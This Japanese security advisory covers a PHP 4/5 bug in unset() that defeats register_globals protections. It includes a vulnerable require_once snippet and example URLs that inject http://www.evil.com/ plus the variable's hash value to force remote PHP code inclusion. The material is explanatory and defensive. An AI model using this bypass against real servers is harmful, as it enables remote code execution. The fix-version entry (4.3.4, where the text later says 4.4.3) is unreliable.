|
必聴講座ご紹介 Cloud Days Tokyo 2012 エムオーテックス Cloud Days Tokyo 2012 ヴイエムウェア Cloud Days Osaka 2012 アマゾン データ サービス ジャパン |
|
| 影響を受けるPHPのバージョン | PHP 4.4.2までのPHP 4(とPHP 5.1.3までの PHP 5) |
|---|---|
| 影響を受けるアプリケーション | リモートからの変数上書きに関するセキュリティ上の対策を unset()関数により行っているアプリケーション。 特にregister_globalsがOnの状態で運用されているアプリケーション,または ファイルアップロード処理を行っているアプリケーション においてリスクが大きい。(現在,register_globals=Onでの運用は推奨されていない) |
| 具体的なリスク | 外部からのリモートサイトにある任意のPHPスクリプトを実行されることなど |
| 対策 |
以下の対策1または対策2を行う。 対策1:PHP 4.3.4(またはPHP 5.1.4)へのバージョン更新 対策2:Harndened PHP Project掲載のセキュリティパッチ適用 |
以下,この問題の具体的内容について説明する。
register_globalsが有効の状態で実行される可能性があるアプリケーションでは,変数を外部定義されることによるセキュリティ上の問題の対策として変数を使用する前にunset()関数によりクリアする処理が行われている。
バージョン4.4.2までのPHPでは,ハッシュテーブルから要素を削除する処理にバグがあり,セキュリティ上のチェックのためにunset()関数で連想配列の特定の要素をクリアするといった処理をすり抜けることが可能であった。
このバグに関する詳細は,Hardened PHP projectに記載されている。
以下,その例を示す。まず,$pathはアプリケーションにおいて共通ヘッダー部として読み込むファイルのパスを指定するために使用されているとする。
|
require_once($path); [その他の処理] ?> |
このページに,例えば,以下のようにアクセスされた場合を考えてみよう.
http://www.example.com/index.php?path=http://www.evil.com/
register_globals=Onの場合,変数$pathが外部より上書きされ,外部のスクリプトをリモート実行してしまう可能性 がある。そこで,以下のようにスクリプトの先頭で変数の外部定義を検知し,unset()関数によりリセットするセキュリティ対策が行われる。
|
if (isset($path)) { unset($path); } |
しかし,前記のバグのために,以下のようにアクセスされるとunset()関数により変数の値は,消去されなくなる。
http://www.example.com/index.php?path=http://www.evil.com&187670408=1
ここで,187670408の部分は'path'のハッシュ値である。このようにアクセスされた場合,変数$pathの値が外部から指定 された値(この場合は,「http://www.evil.com/」)に上書きされたまま実行されてしまい,リモートURLのPHPコードがサーバー上 で実行されてしまう可能性がある。この例は,miniBBという有名なソフトウエアで発生した問題である。
register_globalsをoffとして運用されている場合には,影響を受けるリスクは小さくなるが,$_FILES変数の要素を外部から設定されるなどのリスクがある。
この問題は,Hardened PHP projectにより2006年1月に発見され,PHP 5では2006年5月にリリースされたPHP 5.1.4で修正されていたが,PHP 4ではさらに3カ月経過してリリースされたPHP 4.4.3でようやく修正された。
PHP 4系を使用しているユーザー,特にunset()を使用しているユーザーは,早期にバージョン更新を行うことを推奨する。
また,前述の「Hardenend PHP project」のWebサイトで は,セキュリティ強化のパッチが随時公開されている。PHPに限った話ではないが,セキュリティ関連の情報は日々更新される。セキュリティを確保するため には,アプリケーションレベルのセキュリティを確保すると同時に,PHPに関しても常に最新のセキュリティパッチを適用することが望ましい。